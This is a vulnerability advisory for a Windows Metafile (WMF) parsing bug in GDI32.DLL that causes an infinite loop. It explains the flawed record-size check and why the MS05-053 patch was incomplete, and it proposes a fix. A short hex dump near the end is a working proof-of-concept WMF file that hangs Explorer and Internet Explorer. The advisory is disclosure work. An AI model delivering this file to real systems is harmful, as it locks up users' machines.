Windows Metafile infinite loop vulnerability

CVE-2006-5997

Vendor notification: Jan 5, 2006
Vendor response: will not release a patch, but the bug was fixed in Windows Vista

Systems affected

  • Windows NT
  • Windows 2000
  • Windows XP
  • Windows 2003

Overview

There is a denial of service vulnerability in the GDI32.DLL parser for Windows Metafile (WMF) image files. This vulnerability causes an affected application to consume 100% CPU when a user attempts to view a malicious image. All applications that use the standard Windows API for displaying WMF files are affected, including Windows Explorer, Internet Explorer, Outlook and others.

Microsoft fixed a closely related vulnerability in the MS05-053 security update, but the fix was incomplete. I was able to develop a proof-of-concept exploit that works on fully-patched Windows systems.

Technical details

WMF files consist of a fixed size header, followed by a number of metafile records of varying size. The structure of the header and the metafile records is defined in a WinGDI.h as follows:

#pragma pack(2)

typedef struct tagMETAHEADER
{
    WORD        mtType;             /* Type of metafile (1=memory, 2=disk) */
    WORD        mtHeaderSize;       /* Size of header in words (always 9) */
    WORD        mtVersion;          /* Windows version (0x100 or 0x300) */
    DWORD       mtSize;             /* Total size of the metafile in words */
    WORD        mtNoObjects;        /* Number of objects in the file */
    DWORD       mtMaxRecord;        /* Size of the largest record in words */
    WORD        mtNoParameters;     /* Not used (always 0) */
} METAHEADER;

typedef struct tagMETARECORD
{
    DWORD       rdSize;             /* Total size of the record in words */
    WORD        rdFunction;         /* Function number */
    WORD        rdParm[1];          /* Parameter values passed to function */
} METARECORD;

Each record is used to encode a call to a GDI function. The number and types of the parameters are determined by the function number in the rdFunction field. The values of the parameters are stored in the variable sized array rdParm. The last record in the metafile is always a terminating record with rdFunction set to 0, and no parameters.

The vulnerability is in the pfm16AllocMF16() function in GDI32.DLL, which allocates and initializes an internal data structure containing metafile data. When invoked with certain parameters, the function will try to determine the size of the metafile data by traversing all metafile records until it reaches the terminating record. This is accomplished with the following loop:

/* Initialize the counter with the header size in words */

unsigned int counter = metaheader->mtHeaderSize;

/* Calculate the size of the metafile data in words, excluding
   the terminating record */

unsigned int total_size = metafile_data_size / 2 - 3;

/* Initialize the record pointer with the address of the
   first record after the header */

char* ptr = &metafile_data[metaheader->mtHeaderSize*2];

while (1) {
    if (counter > total_size)
        goto free_and_return;

    /* Loop until we've found the terminating record */

    METARECORD* record = (METARECORD*)ptr;

    if (record.rdFunction == 0)
        break;

    /* Increment the word counter and the record pointer */

+   if (record.rdSize == 0)         /* added in MS05-053 */
+       break;

    counter += record.rdSize;
    ptr += record.rdSize * 2;
}

In March 2005 Peter Ferrie reported a denial of service vulnerability which is a result of a record with a zero rdSize value. Since rdSize is used to increment the record pointer, it will never move past the zero sized record and the code will enter an infinite loop, consuming 100% CPU. This issue is documented in CVE-2005-0954, and the vulnerability was fixed with the MS05-053 security update. The new check introduced by the patch is marked with '+' signs in the code above.

Unfortunately the check is not sufficient to avoid the infinite loop condition. If rdSize is negative, the counter and record pointer will be decremented. Setting up two consecutive records with record sizes of +3 and -3 will cause the pointer to oscillate between the two indefinitely, consuming 100% CPU.

Proof of concept

The vulnerable code in pfm16AllocMF16 can be reached by calling the SetMetaFileBitsEx function, exported by GDI32.DLL. This function is used to load WMF files that have an Aldus Placeable Metafile header, as described in Q66949 in the Microsoft Knowledge Base.

The following WMF file will trigger the vulnerability when previewed in Windows Explorer or opened in Internet Explorer.

00000000   D7 CD C6 9A  00 00 00 00  00 00 5E 22  96 19 A0 05   ..........^"....
00000010   00 00 00 00  79 69 01 00  09 00 00 01  0F 00 00 00   ....yi..........
00000020   00 00 06 00  00 00 00 00  03 00 00 00  00 01 FD FF   ................
00000030   FF FF 00 01                                          ....

Solution

The check introduced by MS05-053 should be replaced with:

if (counter + record.rdSize <= counter)
    goto free_and_return;